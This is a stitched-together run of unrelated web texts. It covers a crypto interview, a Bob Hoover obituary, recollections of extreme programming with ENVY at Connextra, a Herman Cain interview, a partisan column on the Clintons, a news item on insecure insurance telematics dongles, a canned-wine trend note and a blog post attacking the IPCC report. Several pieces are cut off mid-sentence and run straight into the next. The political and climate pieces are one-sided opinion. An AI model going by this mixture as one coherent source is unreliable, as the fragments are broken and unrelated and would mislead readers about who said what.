"We certainly are punching above our weight," says Tapscott.
"Toronto is one of the top five places in the world where there is entrepreneurship, new company formation and innovation that's comparable to a lot of the places you think of, like San Francisco or Singapore, Shanghai and Tokyo."
Regulating a new industry
Companies are using digital coins to raise funds in what is called an ICO, or initial coin offering, but there is uncertainty over which investment rules apply.
Unlike an IPO, which is the first time that the stock of a private company is offered to the public, an ICO allows people to invest using cryptocurrency without following the same guidelines.
This technology has the potential to change everything. - Alex Tapscott, NextBlock Global
Canadian securities regulators are now taking a closer look at technology companies that offer ICOs to raise capital.
Tapscott says he that's a good thing, because he doesn't want to see the technology impaired by bunch of bad actors.
"This technology has the potential to change everything," he says. "So in order for us to achieve this transition of traditional assets to digital assets, there needs to be clear rules of the road."
To hear the full conversation with Alex Tapscott, download our podcast or click the 'Listen' button at the top of this page.
NOTE: A previous version of this story carried the headline: 'A made-in-Canada cryptocurrency called ethereum will soon be worth more than bitcoin.' It has been updated to reflect news.One of the greatest pilots in the history of aviation died this morning, according to reports.
Bob Hoover, a World War II fighter pilot, a former Air Force test pilot, and the chase plane pilot for Chuck Yeager when he broke the sound barrier for the first time, was 94.
A lot of the greatest pilots who ever lived will tell you that Hoover was the greatest pilot who ever lived.
Having been shot down over Nice, France during his 59th mission in World War II, Hoover spent 16 months as a POW, spending much of the time in solitary confinement as punishment for two dozen escape attempts. Finally, he succeeded just before the end of the war by stealing a German fighter.
Had he remained at the POW camp a few days longer, the Allies likely would have reached him. But now he faced possible extinction at the hands of any friendly pilot who would presume his Focke Wulf was manned by the enemy. Hoover said he hugged a cloud ceiling at about 4,000 feet, figuring he would duck up into it if he was spotted by any Allied aircraft. He planned on flying west until he saw signs of Allied territory. “I wanted to see windmills to be sure,” he explained. That would signal friendly Holland. By the time he reached Holland, Hoover said, “My gas tank was registering close to zero.” He chose to land while he still had full control of the fighter, and selected an open field. Hoover dropped the fighter’s landing gear and settled in. A ditch suddenly loomed ahead, and Hoover said he did not want to end up trapped in a German fighter on its back, where the Allies might not realize an American was inside. He said he “just reached down and sucked up the gear” to get the fighter to stop before tipping into the ditch. Hoover said he wondered, “What the heck are you going to do now?” He didn’t have to wait long. “All of a sudden pitchforks came at me from every direction,” Hoover said. Dutch farmers who spoke no English were understandably angry with the man who emerged from the German fighter. Providence intervened in the form of a British Army truck approaching. Hoover queried the truck’s occupants: “I hope you can help me. I’m a Yank; they think I’m a Kraut!” With perfect British aplomb, the soldiers whisked Hoover to safety. Hoover said he did not consider his actions in escaping to be heroic. “I was no hero. I didn’t do anything but be stupid,” he chuckled. Hoover said, “It’s a stupid story. For about a year and a half I wouldn’t tell anyone that story.” But word got out years later at an air show, and Hoover acknowledged his feat, albeit with disarming self-criticism.
We mourn the passing of our friend Robert A. “Bob” Hoover, "The Greatest Stick and Rudder Man Who Ever Lived.” pic.twitter.com/RNElnHfoMP — SmithsonianAirSpace (@airandspace) October 25, 2016
A few years ago, the Federal Aviation Administration tried to ground Hoover, saying he was too old to fly.
“Possibly in the entire history of the conduct of the airman medical certification program, no one decision has created more controversy,” federal air surgeon Jon L. Jordan wrote later.
Aviators throughout the world shrieked with outrage until the FAA relented. Many of them had seen his famous air show act, which he performed with both engines on his plane turned off.
In 2012, a pilot in a P-51 ran out of options when his landing gear malfunctioned. He’d tried everything to deploy it but nothing worked.
Officials tracked down Hoover by telephone, then patched him in to the pilot of the stricken pilot.
“Boot enough rudder there at landing gear down speeds, get a side load on it, it would force it out and into the locked position,” Hoover said. “I’ve been there, I’ve done that a couple of times.” Jeanes, on the phone from Dallas to Hoover in Los Angeles, encouraged Gardner to keep trying the maneuvers over Mobile Bay. “Just slip it, skid it, yaw it, whatever you have to do to get some air under the door.”
It worked. The landing gear deployed and the pilot landed the P-51 safely.
In 2010, Hoover delivered the Charles Lindbergh lecture at the Smithsonian Air & Space Museum.
With his death, it’s safe to say the nation will likely never hear first-hand stories like this again.
Years before I learned how to fly, I remember we were driving back East — probably 1992 — and as my wife drove I was reading the Star Tribune account of the big Oshkosh air show, which I’d never attended. I recall reading aloud to her the description of Bob Hoover’s performance, in which he shut off both engines to his plane and then spent the next — I don’t know — what seemed like 10 or 15 minutes flying close to the ground, pulling up, rolling, diving, and eventually landing and rolling to a stop exactly at show center.
It is the first and only time in my life I’ve read a dispatch in a newspaper, or anywhere else, and couldn’t believe the wonder of it all. I was like a kid from 50 years earlier, reading about the exploits of larger-than-life people like Lindbergh.
In a 2010 tribute in Smithsonian’s Air & Space Magazine, air show pilot Debbie Gary provided a more accurate description:
The first time I saw Bob Hoover fly I was a new show pilot standing next to the great Curtis Pitts and hoping for words of wisdom. It was March 1972, and Pitts and I were watching the airplane he created perform at Miami’s Tamiami Airport. The sky was a frenzy of tiny Pitts Specials panting through snap rolls and outside loops. It was noisy, and Pitts said nothing during the performance. Even after the airplanes landed and Hoover taxied out, Pitts was quiet—until Hoover, on takeoff, rolled the twin-engine Shrike Commander. It was as graceful and fluid as a cat stretching its back. The show tempo shifted from salsa to whipped cream. Pitts turned and grinned at me. “Have you ever seen anything so smooth?” he asked. For the next 20 minutes, we watched North American Rockwell’s big, beautiful cross-country transport flow through giant loops and vertical climbs, four-point rolls and half Cuban eights. Two engines roared, then only one, but the airplane kept dancing. When the second engine stopped, the roar became a glider’s whoosh. The airplane swept past in a deadstick loop, followed by an eight-point roll, then waltzed down to the landing: LEFT two-three, RIGHT two-three, LEFT two-three—the wings banked steeply as one tire kissed the runway, skated, rolled, then lifted as the wings banked the other way, and that wheel skated, rolled…. “Now that’s flying,” Pitts said to me as Hoover, still without power, maneuvered up the runway and onto the taxiway, stopped precisely at show center, then climbed out in his business suit and waved his straw hat at the cheering crowd.
Hoover once demonstrated how to pour iced tea while he rolled his airplane, spilling not a drop and inspiring other aviators to try the same thing with varying results.
A Bob Hoover inspired moment! pic.twitter.com/h3S2b0DdoJ — Mike Gibbins (@MikeGibbins2) October 14, 2016
“We lost a true, one-of-a-kind aviation hero today,” Jack Pelton, the CEO of EAA said today. “We all knew of Bob’s incredible aviation career and witnessed his unmatched flying skills. It was Bob Hoover as a person that also made him legendary. He was a true gentleman and unfailingly gracious and generous, as well as a good friend of EAA through the years. We can only hope to use his lifelong example as a pilot and a person as a standard for all of us to achieve.”
“Bob Hoover brought great richness to the aviation experience, and he leaves behind a legacy of heroic caring and sharing with the general aviation community,” Mark Baker, the president of the Aircraft Owners and Pilots Association, said. “The first time I met Bob, I was seated next to him at an aviation event, my 8-year-old son by my side. Bob both spoke and listened to his aviation dreams. He offered encouragement and some great stories. And though my son is long since grown, neither he nor I have ever forgotten that an aviation legend gave a child who dreamed of flying his full attention and encouraged him to dream even bigger. Bob Hoover |
some clever things with those hooks.
There was a real engineering discipline to the whole thing that the video I’m thinking of really teased out in 199x - I think it possibly gives some of the insight into the thinking and rigour of XP (as I bet Kent saw that video)
ENVY was a big atomic write only database (using appends). To release a change to multiple classes you were effectively storing the active versions of those classes in a parent (in Java, that is a package) - in the UI you would select those classes and press release (which in code wrapped this in a transaction and did an atomic write in the package). So - I think you may have been thinking about something else Ivan.
For #2, I think you are correct - although I think the flaw was less in Envy, but more in the versioning UI tools - as the data would all be there in Envy - the current and previous versions plus your version. I think it wasn’t such a big deal, and so no-one ever did anything about it.
What wasn’t available, was automatic merging - you used the diff tools and stepped through your changes - accepting left and right as appropriate. It sounds tedious, however, I think many an error or improvement was discovered when doing that (v.s a magic auto-merge). I think the discipline of reviewing those changes was very useful - however this where I think Ivan is thinking about atomicity - as while doing that review (normally with changes that took a few minutes) there was a danger that someone could release underneath you - meaning you ended up create what was called a “scratch version” - a version that wasn’t released into its parent (as the parent now had a new version). This is why we serialised things at a release machine. It also had a nice side effect that you were aware of what changes were going into master - and often that realisation sent you back to your desk to rework something to make it fit better.
I think teams today use a red/green build screen as that token - with master broken more often than most people admit.
Ivan Moore
Ivan’s insights:
The VisualAge for Java experience its integrated ENVY was very similar to the Smalltalk experience with ENVY. We lived the no branching ideals of Continuous Integration.
I just can’t remember the average story size for a development pair was. I’m pretty sure that Tim is right, that we split stories up into technical tasks, each of which would be quite small - I think anything from a couple of hours to a couple of days, probably with an average of something like half a day. I don’t remember how large stories (rather than tasks) were. I think Rachel’s “between 30min to 2 hours work” could be right for some of the technical tasks but I don’t remember well. I’d be impressed with our previous selves if many were that small - I think they were probably a bit larger - but nevertheless our tasks were smaller than most team’s stories that I see these days.
We had lots of fast running JUnit tests. We had very few non-unit tests. Overall the balance was much more heavily unit test than most teams I see these days. It worked OK for us. We had a very quick build but did occasionally (not often) miss problems.
Tim produced a very innovative system for doing visual testing by starting up VMWare (or similar) images with different OS/browser combinations, then saving a screenshot on a shared file system, so you could see how our stuff looked on different platforms and whether it changed over time. Not automated image comparison (not feasible back then) but automated capture for later human comparison.
As far as I remember there were at least two limitations of ENVY that were partially relevant to the benefits of having a release/integration machine.
ENVY didn’t have the equivalent of atomic commits to multiple files. ENVY didn’t do three-way comparisons - only two way. So you couldn’t tell the difference between you adding something vs someone else having deleted something (or vice-versa).
Duncan Pierce
Duncan’s distillation:
XP Background
We did split stories (white cards, running left-to-right across the board) into tasks (blue cards, top-to-bottom, under the corresponding story), and generally focused on completing tasks. We had a strong focus on completing things, and, in my memory at least, were better at completing everything required for a story without creating loose ends than probably any other team I’ve worked with subsequently. The same was true for integrating. I haven’t worked anywhere else where there was a “release cow” used to signal the need for all pairs to catch up at their earliest convenience. Consequently, although we took on some fairly large stories in our three-week iterations, I think we were probably capable of releasing immediately almost all the time. I recall that we paid attention to maintaining a working baseline at all times, and staged our tasks so that the baseline was (almost) never broken. It was incredibly rare to catch up with changes from version control and find yourself broken.
We did not use branches, although I can’t remember how we recorded the results of spikes where code was produced - particularly code written for Gold Cards. It’s possible we had some little 1 day branches to hold code of that sort. I don’t remember ENVY being suitable for creation of branches, and I don’t think we were particularly tempted to use branches, as they were rather antithetical to our style of continuous integration.
Tasks were generally small (certainly smaller than other teams’ stories) and a pair would get through several a day. This was really our unit of work, and typically we committed changes at roughly task level. Stories varied widely in size and I can remember larger ones having almost a whole board’s height of blue task cards (~10-12?) under them, although 1-4 is more typical in my memory. Extrapolating, I would guess a large story would take around 3-5 pair days, a small one around a half day, and a typical one 1-2 days. We spent a long time (too long!) on planning because we invested quite a bit of time in the task breakdown before estimating. Looking back and comparing to my experience on other teams, I think we benefited from this during planning (better estimates), design (involving whole team in given story and expressing design decisions through tasks) and execution (less loose ends missed -> less “bugs” / “follow up” stories -> less churn). I’m unsure if the time invested was worth it, though. I still try to follow the small tasks, lots of commits, catch up often, never break the baseline philosophy and I find it straightforward to superimpose that on the modern conception of a story being for the pair to work on autonomously. At Connextra, personal/pair process was unusually well aligned with team process. I haven’t worked anywhere else where process was so homogeneous across the team. I recently started working with Paolo again after 15 years and was surprised to find we still both work in almost exactly the same way despite all the things we’ve learned in the meantime.
I believe the subsequent trend to cut story sizes to fit smaller iterations (and thus stories tend towards what we used tasks for) promotes loose ends (i.e. overall business-level story doesn’t hang together even though dev team thinks they’re done) and sometimes artificially small stories that don’t really have any value by themselves (i.e. what we called tasks). I cannot remember how good our stories really were, though, and I can remember some instances of trying to slice them too fine.
Testing was (during my time) almost exclusively unit testing with very high coverage, with logic tested as exhaustively as we could manage. Since Connextra I have tended to follow a lighter testing style, but still strongly prefer unit tests over integration tests, and I tend to prefer technologies that support unit testing, or at least don’t force outside-the-box testing. FIT was after my time. We did do some testing of our generated HTML pages using JTidy feeding an XML parser and then asserting on the resulting “DOM” which was probably as close as we could get to the Selenium/WebDriver style of testing back then. Python was mostly after my time, and was mainly Ivan’s fault, if I recall correctly. ;-)
And yes, Tim’s VMWare automation was very cool and well ahead of its time.
In respect of pair rotation - I don’t remember it being particularly unusual for us to rotate a pair on an already-started story, and we did occasionally rotate a second time. Our policy was to maximise information diffusion, so on day 3, neither of the original devs would be on the story. Two rotations was pretty rare, though. It think that was generally for things that were technically nasty (e.g. Paolo vs Apartment Threads) rather than business requirements that were intrinsically “big”.
We didn’t have a build server - that was the release/integration machine. We used it partly as a token to prevent commits to trunk being made in parallel. This was partly to compensate for limitations in ENVY. There was a process checklist on the wall above the machine. You would bring your changes to the machine in the form of (IIRC) a list of RCS-like versions of individual methods, then review and merge them with latest. Then run all tests, then publish, then turn over the release cow to signal others to catch up. The release machine acted a bit like a modern pre-commit hook that ran the tests before allowing the commit.
I’ve never really been keen on build servers as ways to check commits, and I particularly dislike hearing them referred to as “continuous integration” servers. CI is a human process to promote collaboration and team working. So I gently take issue with “you are going to need a hook up a build server to verify their commits” - if they have committed, it’s too late! Build servers do have value (IMO) as creators of golden build artifacts, though. I don’t object to them - only to people thinking / promoting setting up a build bot means their team is now doing CI.
One small point is that integrating often does not by itself imply that the code is releasable on demand unless your unit of commit is a story (and I believe it shouldn’t always be), because if finished tasks that do not add up to a complete story are present in the code, it may be visible in the released-on-demand software, which may be undesirable for the business. We tackled this at Connextra by trying to complete all the “enabling” tasks first, then doing the final task that wires it all together in a visible form. We didn’t use feature flags. I guess you could say we tried to make committing the final task the “feature flag”. Probably not always as successfully as I now remember. I used to call this style “back-to-front” (i.e. back end first, front end last).
On ENVY specifically
I inferred that the rate-limiting aspect of the Integration Machine was because of a limitation in ENVY, from the way we used it. The others’ knowledge of ENVY is greater than mine, and I think the Release Machine was already in place when I joined so it might be that I haven’t fully understood. My memory is that ENVY had versions of fine-grained elements of the source (like Tim wrote) and you could have a “current version” of the whole source composed of the current versions of all those bits. But you could go back as well as forwards with your versions of a particular bit (kind of like StarTeam but with redeeming features). This gave the possibility of inadvertently undoing someone else’s changes in a merge. Serialising through the Release Machine made that very unlikely. To be fair, it was quite easy to recover from, but perhaps not as easy to notice.
I don’t think we actually intended rate limiting, but we did occasionally get a small queue at the Release Machine. That may have been one of the reasons for the introduction of the Release Cow as the team grew. (I think there were only 3 devs when I joined).
ENVY did make it possible to “go to the token” to commit rather than taking the token to the pair station since the micro-versions of the bits were everywhere. I haven’t seen this model in use anywhere else.ROBYN BECK / AFP / Getty Images Former Republican presidential candidate Herman Cain speaks at a Tea Party rally at the River at Tampa Bay Church in Florida on Aug. 26, 2012
Herman Cain, former CEO of Godfather’s Pizza and 2012 presidential also-ran, went to Tampa to take part in a unity rally on Sunday. TIME caught up with him to chat about the Republican ticket, what he’s doing in Florida and, of course, pizza.
What are you trying to achieve in Tampa?
I’m trying to send a message of unity. The fact that I didn’t get the nomination — I’m basically trying to tell people it’s not about me, it’s not about them. It’s about defeating Barack Obama. Mitt Romney is the nominee and Paul Ryan is his running mate. I’m here to show support for the ticket and the mission.
What do you think about Ryan’s controversial plan for changing Medicare?
I don’t think his plan is controversial at all. Ryan’s plan clearly lays out an approach that will save Medicare. That’s what I admire most about Mitt Romney making the decision that he did to select Ryan, because he knew that it was going to put the Medicare debate front and center. If we don’t change anything, it’s going to bankrupt itself.
Have you and Romney had contact since you suspended your campaign?
We have chatted about, No. 1, what my interests are going forward [in terms of being part of his Administration]. And I said, “Governor Romney, with all due respect, I’m not lookin’ for a job. I don’t want to be your VP pick, and I don’t want to be a Cabinet member. Because I’ve got other things in my career that I’m interested in doing.”
Did he ask you about those posts in particular?
No. I just volunteered that information. I don’t know what he was thinking … No 2., I gave him some advice on sharpening his message. And he has taken a lot of that advice. Last week he rolled out his energy policy. I loved it. It was a five-point plan. And he even said to me, “Notice, I’m starting to use a number-point plan.”
Do you have any regrets about initially endorsing Newt Gingrich?
No. The process may not be perfect, but it is what it is. I don’t regret endorsing Newt Gingrich when I endorsed him, based upon what I knew at that time, based on the relationship that I had with Newt. I happen to have had a much closer relationship with Newt Gingrich, so that was part of my consideration. But then once Newt dropped out of the race, I had no problem endorsing Governor Romney because he was going to be the presumptive nominee.
(PHOTOS: Political Pictures of the Week, Aug. 18–24)
What is your favorite moment from the campaign?
My favorite moment was after I won the Florida [straw poll]. It shocked the political world. It shocked everybody.
Obviously, things were tough before you suspended the campaign. Was that hard on you?
I expected it to be tough. I expected it to be a lot of work. What I did not expect is that people who were threatened by me would lie and would get other people to lie to get me out of the race.
Back to this idea of unity. A poll recently showed that Romney had zero support among African Americans. What is your response to that?
First of all, I don’t believe that poll. Polls can be manipulated. Secondly, I’m not a zero. All of my black friends that are conservatives, they’re not a zero … You have a lot of black conservatives out there who aren’t standing on a stage declaring their conservatism. Those polls are not capturing the sentiment of a lot of black Americans.
One thing the media gave you a lot of heat about was your lack of foreign policy qualifications. Does Romney have enough foreign policy experience to become President?
He has more foreign policy experience in his little finger than Barack Obama has learned in 3½ years.
What experience is that?
It’s based upon the fact that he reads and he listens. He has foreign policy people around him. But he doesn’t need to tout his foreign policy experience. That’s another attempt on the part of the mainstream media to suck him into talking about stuff that isn’t the priority. The three priorities that he’s focused on — and I did give him some suggestions on this — are the economy, energy and national security. And he’s strong on national security. You need to be stronger on national security than you need to be on foreign policy.
Is it worse to imagine a world without pizza or one in which Obama gets a second term?
It’s worse to imagine a world with Obama getting a second term than it is to imagine a world without pizza. Because with Obama in a second term, there will be no pizza. For anyone.by Kevin Meagher
It’s safe to say the Clintons have cast a long shadow over the Labour party.
A generation of political professionals have imbibed the campaigning techniques that propelled Bill to the presidency in 1992 and 1996, with two ambitious young Labour frontbenchers sent over to learn from the master at close quarters.
The lessons Tony Blair and Gordon Brown brought back with them have pretty much shaped everything Labour has done since. Rapid rebuttal. ‘It’s the economy, stupid.’ Triangulation. New Labour was born in that war room in Little Rock.
But now the Clintons have had their day. Bill was a good domestic president, focusing ‘like a laser beam’ on the economy; balancing the budget, creating jobs and presiding over a decade of prosperity.
But he is also venal and morally-corroded. A Vietnam draft-dodger who, while Governor of Arkansas, notoriously sent a mentally-disabled man to his death, just so he didn’t look weak on the death penalty, (the issue that hobbled Michel Dukakis’s 1988 tilt at the White House).
Never mind that impeachment business.
Despite his many good works as president, a trail of slime followed the Clintons throughout their time in the White House. As people, Bill and Hillary make Frank and Claire Underwood in House of Cards look like Tom and Barbara from The Good Life.
Now, with her lead over Donald Trump ebbing away, (as a new poll from the swing states of Ohio and Florida shows her trailing the Republican), its beginning it look like utter folly for the Democrats to have pinned their hopes on her.
It still feels inconceivable that Trump can win, but then everyone was sure he couldn’t secure the Republican nomination. Or that Bernie Sanders was a joke candidate. Probably the same people who believed Britain would never quit the EU.
2016 is turning out to be a year of nasty electoral surprises.
If Hillary Clinton had a time it was back in 2008. Unfortunately, an upstart newbie Senator from Illinois beat her for the Democrat nomination.
As it turns out, it would have been better for both of them if the running order had been reversed, that way Obama would have had more experience and Clinton would be less clapped out.
But hubris got the better of her. She had to have it. So rather than the Dems offering a fresher, more unknown figure who could have been more elusive and pragmatic, the world is stuck hoping Hillary Clinton, dragging around decades of political baggage, can stop Donald Trump.
The irony, of course, is that the Democrats needed someone like Bill. A candidate with charm, (however shop-soiled his shtick might be). A good old boy who could present him (or herself) as an outsider, untainted by the connivances and compromises of Washington’s beltway politics and who didn’t constantly rub the average American voter up the wrong way.
Clearly, Hillary can’t do any of that. Trump’s followers are a ‘basket of deplorables’ she claimed last week at a swanky New York fundraising bash, insulting and dismissing half the country in half a sentence.
And the little people in the small towns in the ‘flyover states’ know she means them. And they in turn know she epitomises Washington insiderness in all its cocooned, smarmy self-regard.
Hillary Clinton is the wrong candidate in the wrong place at the wrong time.
She cannot reach out to the whole country, nor bring it together in the event she manages to clamber across the finishing line first.
The Clintons have nothing left to teach us, either about campaigning or governing. It’s time we stopped looking at the Clintons through Hillary’s tinted spectacles. Their day is passed.
They couldn’t even manage to bundle Hillary in the back of her car after her funny turn at the 9/11 commemorations without having it all captured on film. Amateur hour.
All that’s left is to hold our collective breath and pray that Hillary’s overweening personal ambition hasn’t now opened the door for the election of President Trump.
Kevin Meagher is associate editor of Uncut
Tags: bill clinton, Donald Trump, Hillary Clinton, Kevin Meagher, US presidential electionCar owners are typically trying to save money on their car insurance whenever possible. Car insurance companies, on the other hand, are always seeking ways to find out just which of their customers can be trusted more. To the benefit of both parties, Progressive Insurance started using a dongle that attaches to the diagnostic port of your car, and monitors a number of different aspects of the user’s driving habits, location, and other data, which are remotely sent to the Progressive Insurance servers.
Recently, Corey Thuen, a security researcher at Digital Bond Labs, has discovered that these devices, which are in use on over 2 million cars in the United States alone, are very vulnerable to attacks. He was able to connect his laptop to the device directly and says he could have gained access to certain features and would have been to perform actions such as locking and unlocking the doors, starting the car, collect information about the car, and more. He chose not to, however. His point was to see if it was possible. In doing so, he discovered many insecure elements of the device:
“The firmware running on the dongle is minimal and insecure. It does no validation or signing of firmware updates, no secure boot, no cellular authentication, no secure communications or encryption, no data execution prevention or attack mitigation technologies… basically it uses no security technologies whatsoever.” He adds that “a skilled attacker could almost certainly compromise such dongles to gain remote control of a vehicle, or even an entire fleet of vehicles. Once compromised, the consequences range from privacy data loss to life and limb.” And that, to say the least is quite concerning.
In conclusion, the idea of having such a dongle installed in your car to monitor the driving habits of the users seeking to lower their insurance rates is a good one, but companies like Progressive need to make sure they are aware of the risk they put their drivers in by installing practically completely insecure, remotely accessible device into their cars. It’s one thing to collect driving information and another to gain remote control of someone’s car and possibly endangering their lives. As long as this issue is not taken care of, I think it’s irresponsible for insurance companies to continue this practice. After all, we know already that anything that can be exploited, will be exploited at some point in time.The New Year has been flooded with trend predictions for 2016. The Daily Meal has been no exception; you can check out our list of popular food and drink forecasts for the coming year right here. The product experts at Whole Foods think they know what consumers (i.e. Whole Foods customers) will go wild for in 2016. One of the biggest trend predictions is canned wine.
Before you roll your eyes at this strange method of wine storage, remember that even craft breweries are starting to serve their popular brews in a can. Here’s what the Whole Foods staff has to say about this new-ish product:
“Options that provide accessibility and convenience without trading quality will continue to gain traction,” Whole Foods experts agree. “Cue the aluminum can — a portable, easy-to-chill option that’s well suited for single servings and active, outdoor lifestyles. And with choices like Infinite Monkey Theorem and Presto Sparkling wine, today’s pop-tops are the new popped-cork.”
A couple of years ago, we predicted that this trend would blow up soon with the introduction of Friends Wine in a Can and Wine Star canned wine to Spirit Airlines. You can now buy Friends Wine in a Can in 19 states, mostly in Eastern United States.
In case you’re curious, Whole Foods also predicts an upsurge in popularity of lesser-known seafood to combat seafood unsustainability, fermented foods, alternative flours, and non-GMO certified products.On March 31 the Intergovernmental Panel on Climate Change (IPCC) released the tentative draft of its Fifth Assessment Report (AR5) for Working Group II, which studies the impacts of climate change under various possible scenarios, including actions by governments. (In contrast, the report from Working Group I—which was released in the fall of 2013—studied the physical science underlying projections of climate change.) Although the top brass at the IPCC and their accomplices in the media will do their best to hide it, the fact is that the new report shows just how optimistic we should be about the future.
The lengthy IPCC reports themselves are behemoths that only masochists and true nerds would attempt to parse (as the reader will see below). Consequently we will trickle out the major “news you can use” in a series of digestible posts over the next few weeks. In this first post, we will concentrate on the takeaway numbers on the impact of climate change, according to the IPCC. These should be a cause of relief, not alarm. We will also explain why a leading climate expert, Richard Tol, asked that his name be removed from the final “Summary for Policymakers.” The case for alarm over climate change is collapsing, and even the IPCC’s own reports—if not their dialog with the public—are reflecting it.
Summary for Policymakers—Written By Orwell?
We can quickly summarize the big-picture economic takeaway from the latest report by walking through a key paragraph, which is taken from page 19 of the Summary for Policymakers accompanying the recent release:
Global economic impacts from climate change are difficult to estimate. Economic impact estimates completed over the past 20 years vary in their coverage of subsets of economic sectors and depend on a large number of assumptions, many of which are disputable, and many estimates do not account for catastrophic changes, tipping points, and many other factors. With these recognized limitations, the incomplete estimates of global annual economic losses for additional temperature increases of ~2°C are between 0.2 and 2.0% of income (±1 standard deviation around the mean) (medium evidence, medium agreement). Losses are more likely than not to be greater, rather than smaller, than this range (limited evidence, high agreement). Additionally, there are large differences between and within countries. Losses accelerate with greater warming (limited evidence, high agreement), but few quantitative estimates have been completed for additional warming around 3°C or above. Estimates of the incremental economic impact of emitting carbon dioxide lie between a few dollars and several hundreds of dollars per tonne of carbon (robust evidence, medium agreement). Estimates vary strongly with the assumed damage function and discount rate. [Bold and italics in original, footnotes removed.]
Before delving into the technical details, it is a useful exercise to try simply reading the above block quotation a few times, slowly. The Orwellian nature of the IPCC reports—especially the Summaries for Policymakers—should eventually make the reader shudder. For example, notice that in the four places above where the writers document the nature of the evidence and the degree of confidence in a particular statement, the two cases of “high agreement” are the ones with “limited evidence,” whereas the statement with “medium evidence” and even the statement enjoying “robust evidence” only receive “medium agreement.” That by itself is odd, but look more closely and see that the statements receiving “high agreement” bolster the alarmist side, whereas the two only garnering “medium agreement” contain reasons for optimism. This is yet another beautiful example of what the critics of the IPCC have been alleging all along: They go into this procedure with a preconceived agenda of what they want the political output to be, and then interpret the evidence however they need to, in order to suggest that result.
We should also highlight a sentence from the third paragraph above that should tell you just how “unsettled” this policy debate truly is: “Estimates of the incremental economic impact of emitting carbon dioxide lie between a few dollars and several hundreds of dollars per tonne of carbon.” Here they are referring to the “social cost of carbon,” and are admitting that the official, peer-reviewed estimates are all over the map, differing by a factor of hundreds. As we have repeatedly stressed, such quicksand is hardly the foundation upon which to build federal efforts to regulate and tax carbon dioxide.
What Type of Danger Should We Expect from Climate Change?
As we have seen in this latest report, the AR5 Working Group II Summary for Policymakers says that “estimates of global annual economic losses for additional temperature increases of ~2°C are between 0.2 and 2.0% of income.” So how long does the IPCC in this latest report think it will take for the earth to warm by an additional ~2°C (from this point forward) if policymakers don’t engage in any further actions that would impede greenhouse gas emissions?
With the old IPCC reports, this question would be easy to answer, because they specified various “emissions scenarios” (called SRES) and reported the associated ranges of temperature increases for each scenario. (For example, see Table SPM.3 here for the projections as of the Fourth Assessment Report issued back in 2007.) These SRES scenarios contained different assumptions about the rate of economic growth in the developing world, the improvements in solar power and car batteries that would allow humans to naturally move away from fossil fuels more rapidly during the 21st century, etc. Crucially, the SRES scenarios didn’t assume major new government interventions in the name of mitigating climate change, so it was easy to calculate what the latest IPCC projections were for “business as usual” or what critics would want to label “doing nothing about climate change.”
Unfortunately, the IPCC did not make their new report so easy to parse. They now don’t focus on emission scenarios, but instead they classify Representative Concentration Pathways, or RCPs. These do not itemize specific emission scenarios but instead talk about the “pathways” by which a particular concentration of atmospheric greenhouse gases could arise. For our purposes, this switch poses analytical problems because each RCP could include scenarios involving government mitigation policies. Therefore, it’s not as clearcut to say, “This is what the IPCC now says will happen, if governments don’t embark on any major new anti-carbon initiatives.”
Notwithstanding these difficulties, let’s go ahead and report what the latest IPCC numbers show, for the particular scenarios they chose to highlight. We turn to the Working Group I’s AR5 report, released last September. Table SPM.2 (page 23) shows the projected temperature increases under various Representative Concentration Pathways (RCPs):
To understand the impact of these temperature projections, remember that the Working Group II report (which was just released) has told us that for an additional 2°C of warming, the impacts of climate change will range between 0.2% and 2.0% of global income. The table above shows us that under three of the four scenarios that the IPCC chose to highlight, that amount of warming won’t likely happen until near the end of the century (i.e. the year 2100). In the most pessimistic scenario (presumably involving the fastest growth of emissions), that amount of warming still won’t occur until mid-century.
So to sum up: If we take the IPCC’s middle-of-the-road estimates, and rounding to ballpark figures, the AR5 reports tell us that in three of their four representative scenarios, the damages of climate change would be about 1% of income by 2090, while in the most pessimistic of the scenarios it would be about 1% of income by the year 2055. It’s true, we can’t cleanly say exactly what the outcome would be if governments followed “business as usual,” but nonetheless the middle-of-the-road projections are not alarming at all no matter which scenario we choose.
Costs Versus Benefits
But wait, there’s more. In the previous section we just looked at the ballpark damages from climate change, according to the latest IPCC report. These conceivably could be mitigated by government policies to stem greenhouse gas emissions. But these government measures—such as a carbon tax or cap-and-trade program—would themselves entail substantial costs. For these programs to make economic sense, their benefits (in the form of avoided climate change damage) would have to exceed their costs (in the form of slower conventional economic growth).
We will come back to this issue in future blog posts, but for right now, here’s one reference point: Back in 2009, Paul Krugman was stumping for aggressive government action to slow climate change. He reported with glee that an MIT study had estimated that stringent limits on US emissions would “only” reduce national income by 2% by the year 2050.
Now the reader should understand the hole into which the climate alarmists have dug themselves. They can’t have the IPCC running around telling people that the best projection of climate change damage will be “0.2% to 2.0%” of global income, either by mid-century (at worst) or possibly not until 2090, when they’ve spent a few years reassuring Americans that their preferred anti-carbon policies will cost 2% of income by 2050. Even using their own numbers, these policies clearly fail a standard cost/benefit test. (It obviously doesn’t make sense to spend $2,000 in the year 2050 to prevent a bad outcome that will probably cost you $1,000 in the year 2090, and the same logic applies to percentages of income.) The cost/benefit comparisons get much worse when you consider that even in their own computer simulations, the various carbon tax and cap-and-trade proposals will only reduce (not eliminate) the total damages from climate change; thus the economic costs of these policies must be compared to the potential benefits of avoiding only some fraction of the projected damages of climate change.
Richard Tol Takes His Name Off the Report
Thus far we have shown that the latest IPCC report undercuts the rationale for aggressive government policies to slow climate change; they don’t pass a standard cost/benefit test. This fact explains why the latest AR5 is shifting ground onto a discussion of the various “risks” involved in climate change; focusing on big-picture averages and “likely” outcomes isn’t going to cut it. For example, look how a co-chair on the Working Group II report, Chris Field, frames this new “boldness” in the IPCC approach:
The [IPCC Fifth Assessment Working Group II] report itself is scientifically bold. It frames managing climate change as a challenge in managing risks, using this characterization as a starting point for two of the report’s core themes. The first is the importance of considering the full range of possible outcomes, including not only high-probability outcomes. It also considers outcomes with much lower probabilities but much, much larger consequences. Second, characterizing climate change as a challenge in managing risks opens doors to a wide range of options for solutions.
Again, I ask the reader to go back and re-read the second paragraph above. Without perhaps realizing it, Field is openly admitting that the new and “bold” approach of the IPCC AR5 will shift emphasis away from “high-probability outcomes” and instead consider outcomes with “much lower probabilities,” and that this shift “opens doors to a wide range” of government interventions. How convenient. Needless to say, if the case for government “options for solutions” can be made on the basis of theoretically possible risks, then no critic will ever be able to refute the proposal.
This shift in rhetoric also sheds light on what happened with Richard Tol, who is a global expert on climate change economics and a lead author on IPCC reports. Tol made a splash recently when he took his name off of the Summary for Policymakers associated with the AR5 Working Group II report. As this Daily Mail story reports:
